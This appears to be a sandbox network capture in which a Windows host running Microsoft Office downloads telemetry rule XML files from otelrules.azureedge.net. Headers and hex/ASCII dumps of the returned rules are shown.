2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:10 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:10 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:10 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080710Z-15b8d89586fnfb49yv03rfgz1c00000000ug00000000914m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:10 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:10 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:10 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:10 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080710Z-16849878b785dznd7xpawq9gcn0000000amg000000008e5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:10 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:10 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080710Z-16849878b7828dsgct3vrzta7000000007q0000000006cpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:10 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:10 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:10 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080710Z-16849878b78z2wx67pvzz63kdg00000007vg00000000734f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:10 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:10 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:10 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080710Z-16849878b7828dsgct3vrzta7000000007pg000000007ate x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:10 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:11 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: fc05dcd0-301e-0052-2d91-2a65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080711Z-159b85dff8fgxq4qhC1DFWxa0n00000001e000000000a9w4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:11 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:11 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 80c74b81-d01e-00a1-16c0-2a35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080711Z-159b85dff8f46f6ghC1DFW1p0n00000001hg000000003mca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:11 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:11 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 070d1cb7-b01e-0084-2b6b-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080711Z-159b85dff8fbbwhzhC1DFWwpe800000001g000000000afry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:11 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 6ec01022-b01e-003e-1203-2b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080711Z-15b8d89586fvpb59307bn2rcac00000004b0000000006s6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:11 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:11 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080711Z-17c5cb586f626sn8grcgm1gf8000000007rg000000006a9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
